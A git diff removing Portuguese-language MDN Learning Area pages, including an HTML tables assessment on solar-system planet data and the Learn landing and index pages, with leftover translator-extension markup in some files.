-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/html/tables/structuring_planet_data/index.html b/files/pt-pt/learn/html/tables/structuring_planet_data/index.html
deleted file mode 100644
index d37cbc7591..0000000000
--- a/files/pt-pt/learn/html/tables/structuring_planet_data/index.html
+++ /dev/null
@@ -1,152 +0,0 @@
----
-title: 'Avaliação: Estruturar os dados dos planetas'
-slug: Learn/HTML/Tables/Structuring_planet_data
-translation_of: Learn/HTML/Tables/Structuring_planet_data
-original_slug: Learn/HTML/Tables/Avaliacao_Estruturar_os_dados_dos_planetas
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</div>
-
-<p class="summary">Na nossa avaliação de tabela, nós forncemos-lhe alguns dados dos planetas no nosso sistema solar, para que possa estruturá-los numa tabela HTML .</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>Before attempting this assessment you should have already worked through all the articles in this module.</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>To test comprehension of HTML tables and associated features.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Ponto_inicial">Ponto inicial</h2>
-
-<p>To get this assessment started, make local copies of <a href="https://github.com/mdn/learning-area/blob/master/html/tables/assessment-start/blank-template.html">blank-template.html</a>, <a href="https://github.com/mdn/learning-area/blob/master/html/tables/assessment-start/minimal-table.css">minimal-table.css</a>, and <a href="https://github.com/mdn/learning-area/blob/master/html/tables/assessment-start/planets-data.txt">planets-data.txt</a> in a new directory in your local computer.</p>
-
-<div class="note">
-<p><strong>Note</strong>: Alternatively, you could use a site like <a class="external external-icon" href="https://jsbin.com/">JSBin</a> or <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> to do your assessment. You could paste the HTML, CSS and JavaScript into one of these online editors. If the online editor you are using doesn't have separate JavaScript/CSS panels, feel free to put them inline <code>&lt;script&gt;</code>/<code>&lt;style&gt;</code> elements inside the HTML page.</p>
-</div>
-
-<h2 id="Sumário_do_projeto">Sumário do projeto</h2>
-
-<p>You are working at a school; currently your students are studying the planets of our solar system, and you want to provide them with an easy-to-follow set of data to look up facts and figures about the planets. An HTML data table would be ideal — you need to take the raw data you have available and turn it into a table, following the steps below.</p>
-
-<p>The finished table should look like this:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14609/assessment-table.png" style="display: block; margin: 0 auto;"></p>
-
-<p>You can also <a href="https://mdn.github.io/learning-area/html/tables/assessment-finished/planets-data.html">see the example live here</a> (no looking at the source code — don't cheat!)</p>
-
-<ul>
-</ul>
-
-<h2 id="Passos_para_concluir">Passos para concluir</h2>
-
-<p>The following steps describe what you need to do to complete the table example. All the data you'll need is contained in the <code>planets-data.txt</code> file. If you have trouble visualising the data, look at the live example above, or try drawing a diagram.</p>
-
-<ol>
- <li>Open your copy of <code>blank-template.html</code>, and start the table off by giving it an outer container, a table header, and a table body. You don't need a table footer for this example.</li>
- <li>Add the provided caption to your table.</li>
- <li>Add a row to the table header containing all the column headers.</li>
- <li>Create all the content rows inside the table body, remembering to make all the row headings into headings semantically.</li>
- <li>Make sure all the content is inserted into the right cells — in the raw data, each row of planet data is shown next to its associated planet.</li>
- <li>Add attributes to make the row and column headers unambiguously associated with the rows, columns, or rowgroups that they act as headings for.</li>
- <li>Add a black border just around the column that contains all the planet name row headers.</li>
-</ol>
-
-<h2 id="Dicas_e_sugestões">Dicas e sugestões</h2>
-
-<ul>
- <li>The first cell of the header row needs to be blank, and span two columns.</li>
- <li>The group row headings (e.g. <em>Jovian planets</em>) that sit to the left of the planet name row headings (e.g. <em>Saturn</em>) are a little tricky to sort out — you need to make sure each one spans the correct number of rows and columns.</li>
- <li>One way of associating headers with their rows/columns is a lot easier than the other way.</li>
-</ul>
-
-<h2 id="Avaliação">Avaliação</h2>
-
-<p>If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the <a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">Learning Area Discourse thread</a>, or in the <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC channel on <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Try the exercise first — there is nothing to be gained by cheating!</p>
-
-<p>{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/index.html b/files/pt-pt/learn/index.html
deleted file mode 100644
index 9a769eef86..0000000000
--- a/files/pt-pt/learn/index.html
+++ /dev/null
@@ -1,137 +0,0 @@
----
-title: Aprender sobre o desenvolvimento da Web
-slug: Learn
-tags:
- - Aprender
- - Beginner
- - CSS
- - HTML
- - Index
- - Introdução
- - Landing
- - Web
-translation_of: Learn
----
-<div>{{LearnSidebar}}</div>
-
-<div>
-<p class="summary">Bem-vindo à <strong>Área de Aprendizagem da MDN</strong>. Este conjunto de artigos visa fornecer aos principiantes no desenvolvimento da<em> web</em> com tudo o que eles precisam para começarem a programar <em>websites</em> simples.</p>
-</div>
-
-<p>O objetivo desta área da MDN não é transformá-lo de "principiante" em "especialista", mas sim, de "principiante" a "competente". A partir daí, deverá conseguir começar o seu próprio trajeto, a aprender com <a href="https://developer.mozilla.org/pt-PT/">o resto da MDN</a> e outros recursos de nível intermediário e / ou avançado que requerem conhecimento prévio.</p>
-
-<p>Se é <span>principiante</span>, o desenvolvimento <em>da web</em> pode ser um desafio — nós iremos dar-lhe a mão e fornecer-lhe detalhes suficientes para que se sinta confortável e aprenda os tópicos adequadamente. Deve sentir-se confortável, quer seja um estudante a aprender desenvolvimento <em>web </em>(por sua conta ou como parte de uma turma), um professor a pesquisar matéria para aulas, como passatempo, ou alguém que apenas quer saber mais sobre como as tecnologias da <em>web </em>funcionam.</p>
-
-<h2 id="Whats_new">What's new?</h2>
-
-<p>O conteúdo a <strong>Área de Aprendizagem</strong> está a ser acrescentado com regularidade. Começámos a manter <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Release_notes">Registo de atualizações na Área de aprendizagem</a> (texto em inglês) para mostrar as mudanças mais recentes.</p>
-
-<p>Se tem questões sobre tópicos que gostaria que fossem abordados ou acha que estão em falta, contacte nos através do <a href="https://discourse.mozilla.org/c/mdn">Discourse forum</a>.</p>
-
-<div class="callout">
-<h3 id="Deseja_ser_um_programador_de_front-end">Deseja ser um programador de front-end?</h3>
-
-<p>Nos construimos um curso que inclui toda a informação essencial que precisa para atingir o seu objetivo.</p>
-
-<p><a class="cta primary" href="https://wiki.developer.mozilla.org/docs/Learn/Front-end_web_developer">Começar a Aprender</a></p>
-</div>
-
-<h2 id="Onde_começar">Onde começar</h2>
-
-<ul class="card-grid">
- <li><span>Principiante:</span> Se é principiante no do desenvolvimento da Web, nós recomendamos que comesse pelo nosso módulo <a href="/pt-PT/docs/Learn/Comecar_com_a_Web">Começar com a Web</a>, que fornece uma introdução prática ao desenvolvimento <em>web</em>.</li>
- <li><span>Além do básico:</span> Se já tem algum conhecimento, o próximo passo é aprender {{glossary("HTML")}} e {{glossary("CSS")}} em detalhe: comece com o nosso módulo <a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML">Introdução a HTML</a> e avance para o nosso módulo <a href="/pt-PT/docs/Learn/CSS/Introduction_to_CSS">Introdução a CSS</a>.</li>
- <li><span>Mover para <em>scripting</em>:</span> Se já se sente confortável com HTML e CSS, ou se está interessado principalmente em código, poderá querer seguir para {{glossary("JavaScript")}} ou desenvolvimento do lado do servidor. Comece com os nossos módulos <a href="/pt-PT/docs/Learn/JavaScript/Primeiros_passos">JavaScript - primeiros passos</a> e <a href="/pt-PT/docs/Learn/No-servidor/Primeiros_passos">Primeiros passos do lado do servidor</a>.</li>
- <li><span><em>Frameworks</em> e ferramentas: </span>Após ter um conhecimento forte dos essenciais de HTML, CSS e JavaScript, deve aprender sobre ferramentas de desenvolvimento client-side, e a seguir considere aprender sobre <em>client-side JavaScript frameworks</em> e <a href="/pt-PT/docs/Learn/No-servidor">programação de websites server-side</a>.<br>
-  </li>
-</ul>
-
-<div class="note">
-<p><strong>Nota</strong>: O nosso <a href="/pt-PT/docs/Glossário">Glossário</a> proporciona definições de terminologia. Ademais, se tiver uma questão específica pode ver a página de <a href="/pt-PT/docs/Learn/Questoes_comuns">Questões Comuns</a>.</p>
-</div>
-
-<p>{{LearnBox({"title":"Random glossary entry"})}}</p>
-
-<h2 id="Tópicos_abrangidos">Tópicos abrangidos</h2>
-
-<p>A seguir, tem uma lista de todos os tópicos que nós abordaremos na área de aprendizagem da MDN.</p>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/Comecar_com_a_Web">Primeiros passos na aprendizagem Web</a></dt>
- <dd>Proporciona uma introdução prática ao desenvolvimento <em>web </em>para os principiantes.</dd>
- <dt><a href="/pt-PT/docs/Learn/HTML">HTML — Estruturar a <em>w</em>eb</a></dt>
- <dd>HTML é a Linguagem que é usada para estruturar as diferentes partes dos conteúdos e definir o seu significado ou propósito. Este tópico ensina HTML em detalhe.</dd>
- <dt><a href="/pt-PT/docs/Learn/CSS">CSS — Estilizar a <em>web</em></a></dt>
- <dd>CSS é a Linguagem usada para estilizar e formatar o conteúdo Web, como também acrescenta comportamentos como, por exemplo, animações. Este tópico apresenta uma cobertura abrangente de CSS.</dd>
- <dt><a href="/pt-PT/docs/Learn/JavaScript">JavaScript — Scripts dinâmicos do lado do cliente</a></dt>
- <dd>JavaScript é a Linguagem usada para adicionar funcionalidades dinâmicas a uma página Web. Este tópico ensina o essencial para se tornar confortável a escrever e compreender JavaScript.</dd>
- <dt><a href="/pt-PT/docs/Learn/Acessibilidade">Acessibilidade — tornar a <em>web</em> utilizável por todos</a></dt>
- <dd>Acessibilidade é a prática de tornar a Web disponível ao maior número possível de pessoas independentemente de alguma incapacidade física, localização, dispositivo ou outro fator qualquer. Este tópico mostrará-lhe tudo o que precisa saber.</dd>
- <dt><a href="/pt-PT/docs/Learn/Tools_and_testing">Ferramentas e testes</a></dt>
- <dd>Este tópico abrange as ferramentas que os programadores utilizam para facilitar o seu trabalho, como, por exemplo, ferramentas de testes para diferentes navegadores, linters, formatadores, ferramentas de transformação, sistemas de controlo de versão, ferramentas de <em>deployment</em>, e <em>client-side frameworks</em> de JavaScript.</dd>
- <dt>Programação <em>Server-Side</em></dt>
- <dd>Mesmo que esteja focado em desenvolvimento <em>client-side</em>, é muito útil saber como funcionam os servidores e como são as características da programação <em>server-side</em>. Este tópico fornece uma introdução geral em como tudo isso funciona e fornece também tutoriais detalhados que mostram como construir uma aplicação <em>server-side</em> a usar duas <em>frameworks</em> populares: Django (Phyton) e Express (Node.js).</dd>
-</dl>
-
-<h2 id="Como_obter_os_nossos_exemplos_de_código">Como obter os nossos exemplos de código</h2>
-
-<p>Os exemplos de código que irá encontrar na Área de Aprendizagem podem ser encontrados na <a href="https://github.com/mdn/learning-area/">nossa página no GitHub</a>. Se preferir copiá-los para o seu computador, a maneira mais fácil é descarregar <a href="https://github.com/mdn/learning-area/archive/master.zip">o ficheiro ZIP do código mais recente</a>.</p>
-
-<p>Se preferir copiar o código duma maneira mais flexível que permite atualizações automáticas, pode seguir estas instruções um pouco mais complexas:</p>
-
-<ol>
- <li><a href="http://git-scm.com/downloads">Instale Git</a> na sua máquina. Este é o sistema de controlo de versão sob qual o GitHub funciona.</li>
- <li><a href="https://github.com/join">Inscreva se no GitHub</a>. Isto é simples e fácil (mas é em inglês).</li>
- <li>Quando se tiver inscrito, entre na sua conta no <a href="https://github.com">github.com</a> com o seu nome de utilizador e senha.</li>
- <li>Abra o <em><a href="https://www.lifewire.com/how-to-open-command-prompt-2618089">command prompt</a></em> (Windows) ou <em>terminal</em> (<a href="https://help.ubuntu.com/community/UsingTheTerminal">Linux</a>, <a href="http://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line">MacOSX</a>) no seu computador.</li>
- <li>Para copiar o repositório da área de ensino para uma pasta chamada <code>learning-area</code> dentro da pasta a qual o <em>command prompt </em>/ <em>terminal</em> esta apontado, use o seguinte comando:
- <pre class="brush: bash notranslate">git clone https://github.com/mdn/learning-area</pre>
- </li>
- <li>Agora pode entrar na pasta e encontrar os ficheiros que procura (a usar o <em>finder</em> / <em>file explorer</em> ou o <a href="https://en.wikipedia.org/wiki/Cd_(command)">comando "cd"</a>).</li>
- <li>Visite a <a href="https://docs.github.com/pt">página de ajuda</a> no GitHub para mais informação.</li>
-</ol>
-
-<p>Também pode atualizar a sua versão do repositório <code>learning-area</code> com quaisquer mudanças feitas na versão <em>master</em> no GitHub com os seguintes passos:</p>
-
-<ol>
- <li>No <em>command prompt</em> / <em>terminal</em>, vá à pasta <code>learning-area</code> usando <code>cd</code>. Por exemplo, se estiver na pasta que a contem:
-
- <pre class="brush: bash notranslate">cd learning-area</pre>
- </li>
- <li>Atualize o repositório usando o comando:
- <pre class="brush: bash notranslate">git pull</pre>
- </li>
-</ol>
-
-<h2 id="Contactar-nos">Contactar-nos</h2>
-
-<p>Se nos deseja contactar sobre o que for, a melhor forma é através do nosso <a href="https://discourse.mozilla.org/c/mdn">Discourse forum</a>. Nós desejamos saber de tudo que está incorreto ou em falta no site, pedidos para novos tópicos, pedidos de ajuda com items que não entende, ou qualquer outra questão ou preocupação.</p>
-
-<p>Se estiver interessado em ajudar a desenvolver / melhorar o conteúdo, veja o artigo <a href="https://wiki.developer.mozilla.org/pt-PT/docs/Aprender/Como_contribuir">Como Contribuir</a>. Estamos interessados em falar com você, seja um aluno, professor, programador da <em>web</em> experiente, ou alguém interessado em ajudar a melhorar a experiência de aprendizagem.</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<dl>
- <dt><a href="https://www.mozilla.org/en-US/newsletter/developer/">Boletim Informativo de Desenvolvimento da Mozilla</a></dt>
- <dd>O nosso boletim para programadores da <em>web</em>, que é um recurso fantástico para todos os níveis de experiência (escrito em inglês).</dd>
-</dl>
-
-<dl>
- <dt><a href="https://www.codecademy.com/">Codecademy</a></dt>
- <dd>Um ótimo site para aprender linguagens de programação, sem necessitar conhecimentos prévios.</dd>
- <dt><a href="https://code.org/">Code.org</a></dt>
- <dd>Teoria e prática básica de programação, focado em ensinar crianças ou principiantes.</dd>
- <dt><a href="https://exlskills.com/learn-en/courses">EXLskills</a> </dt>
- <dd>Cursos gratuitos e abertos para o aprendizado de habilidades tecnológicas, com orientação e aprendizagem baseada em projetos.</dd>
- <dt><a href="https://www.freecodecamp.org/">freeCodeCamp.org</a></dt>
- <dd>Um <em>website</em> interativo com tutoriais (<em>challenges</em>) e projetos para aprender desenvolvimento <em>web</em>.</dd>
-</dl>
-
-<dl>
- <dt><a href="https://learning.mozilla.org/web-literacy/">Web Literacy Map</a></dt>
- <dd>Uma <em>framework</em> para conhecimento básico da <em>web</em> &amp; habilidades do século XXI, que também dá acesso a atividades de ensino divididas em categorias.</dd>
- <dt><a href="https://learning.mozilla.org/activities">Atividades de ensino</a></dt>
- <dd>Uma série de atividades de ensino para uso no ensino (e aprendizagem pessoal) criada pela Mozilla Foundation, cobre tudo desde os básicos da <em>web</em>, até privacidade com JavaScript e <em>hacking</em> o Minecraft.</dd>
- <dt><a href="https://edabit.com/challenges/javascript">Edabit</a></dt>
- <dd>Milhares de desafios interativos de JavaScript.</dd>
-</dl>
diff --git a/files/pt-pt/learn/index/index.html b/files/pt-pt/learn/index/index.html
deleted file mode 100644
index cc9d1be7a8..0000000000
--- a/files/pt-pt/learn/index/index.html
+++ /dev/null
@@ -1,89 +0,0 @@
----
-title: Índex
-slug: Learn/Index
-tags:
- - Aprender
- - Index
- - Metadados da MDN
-translation_of: Learn/Index
----
-<p>{{Index("/pt-PT/docs/Learn")}}</p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; display: block; opacity: 0; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
